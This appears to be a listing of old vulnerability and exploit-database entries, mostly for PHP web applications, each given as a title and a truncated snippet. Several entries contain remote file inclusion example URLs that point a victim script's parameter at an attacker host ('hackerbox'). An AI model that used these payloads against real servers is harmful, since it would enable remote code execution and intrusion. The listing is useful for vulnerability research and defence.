PHP mcNews 1.3 - 'skinfile' Remote File Inclusion

Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/mcNews/admin/header.php?skinfile=http://hackerbox/ milw0rm.com 2005-03-07...

phpWebLog 0.5.3 - Arbitrary File Inclusion

phpWebLog 0.5.3 - Arbitrary File Inclusion Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/include/init.inc.php?GPATH=http://hackerbox/ http://victim/dir/backend/addons/links/index.php?PATH=http://hackerbox/ milw0rm.com 2005-03-07...

PHP Form Mail 2.3 - Arbitrary File Inclusion

PHP Form Mail 2.3 - Arbitrary File Inclusion Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/formmail.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-05...

CVE-2002-1466

CafeLog b2 Weblog Tool 2.06pre4, with allowfopenurl enabled, allows remote attackers to execute arbitrary PHP code via the b2inc variable...

phpcrlf.txt

PHP fopen CRLF Injection PROGRAM: PHP VENDOR: The PHP Group HOMEPAGE: http://www.php.net/ VULNERABLE VERSIONS: 4.1.2, 4.2.2, 4.2.3, latest CVS, possibly others IMMUNE VERSIONS: none, but workarounds exist SEVERITY: medium DESCRIPTION: "PHP is a widely-used Open Source general-purpose scripting...

SGI IRIX 6.5.x - FAM Arbitrary Root Owned Directory File Listing

SGI IRIX 6.5.x - FAM Arbitrary Root Owned Directory File Listing source: https://www.securityfocus.com/bid/5487/info fam is a freely available, open source file alteration monitor. It is maintained and distributed by SGI, and will work on the Linux and Unix operating systems. It is possible for a...

code injection in gallery

Hi! Code injection in gallery ------------------------------------- What is gallery? The Gallery is actually the best web gallery application around in the world. I'm using it too ;-. Go to http://gallery.sf.net/ to get further information and download this very cool app. remote include problems...

vixie-cron.sh

Attached shell-script exploits fopen + preserved umask vulnerability in Paul Vixie's cron code. It will work on systems where /var/spool/cron is user-readable eg. 0755 - AFAIR Debian does so. RedHat at least 6.1 and previous have mode 0700 on /var/spool/cron, and thus it isn't exploitable in its...

Snort 1.6 and nmap 2.54beta1

I don't know if this has been reported before but here it goes. snort 1.6 crashes when it's "hit" by a nmap protocol scan nmap -sO; It failes to write some packets to a file and ends whit a fopen error. I woud appriciate if someone can reproduce this. Sorry for my bad English...